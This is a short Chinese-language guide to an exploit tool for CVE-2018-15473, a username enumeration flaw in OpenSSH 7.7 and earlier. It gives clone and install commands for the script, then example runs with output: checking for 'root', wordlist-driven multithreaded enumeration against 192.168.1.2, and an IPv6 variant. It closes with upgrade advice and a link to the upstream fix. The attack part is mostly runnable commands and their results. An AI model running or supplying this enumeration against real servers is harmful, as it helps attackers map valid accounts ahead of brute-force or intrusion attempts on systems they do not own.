OpenSSH服务器在对包含了请求的数据包完全解析之前，不会延迟处理一个验证无效的用户。该漏洞和auth2-gss.c,auth2-hostbased.c,auth2-pubkey.c有关。
尽管该漏洞不能用来生成有效的用户名列表，但依旧可以拿来枚举猜测用户名。
OpenSSH <= 7.7
openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27
您可能需要安装发行版的等效openssl-dev软件包
# 注意：如果您在kali上安装，则可以跳过pip安装，只需执行下面第一二三行的步骤，因为paramiko已经存在。
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt
# 或者使用以下命令下载安装
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
例1：单个用户枚举
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!
例2：使用10个线程进行多个用户枚举(默认线程为4)
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
等等
例3：IPV6地址且指定ssh端口号
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
等等
建议用户升级到不受影响版本。且OpenBSD项目已在以下链接发布了源代码修复：https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
https://github.com/epi052/cve-2018-15473
http://blog.nsfocus.net/openssh-cve-2018-15919/